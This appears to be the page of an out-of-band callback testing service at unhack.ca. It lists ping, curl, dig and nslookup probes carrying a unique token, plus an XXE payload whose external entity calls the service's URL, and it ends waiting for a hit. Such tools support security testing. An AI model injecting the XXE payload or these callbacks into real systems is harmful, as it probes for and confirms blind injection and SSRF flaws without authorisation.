$ ping -c1 -p 006ac1245bedf270e9c05cc2c4143600 unhack.ca
 
$ curl http://unhack.ca/p/6ac1245bedf270e9c05cc2c41436
 
$ dig 6ac1245bedf270e9c05cc2c41436 @unhack.ca
 
$ dig 6ac1245bedf270e9c05cc2c41436.ns.unhack.ca
 
C:\> nslookup 6ac1245bedf270e9c05cc2c41436 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6ac1245bedf270e9c05cc2c41436">]>
    <foo>&xxe;</foo>
Waiting for ping...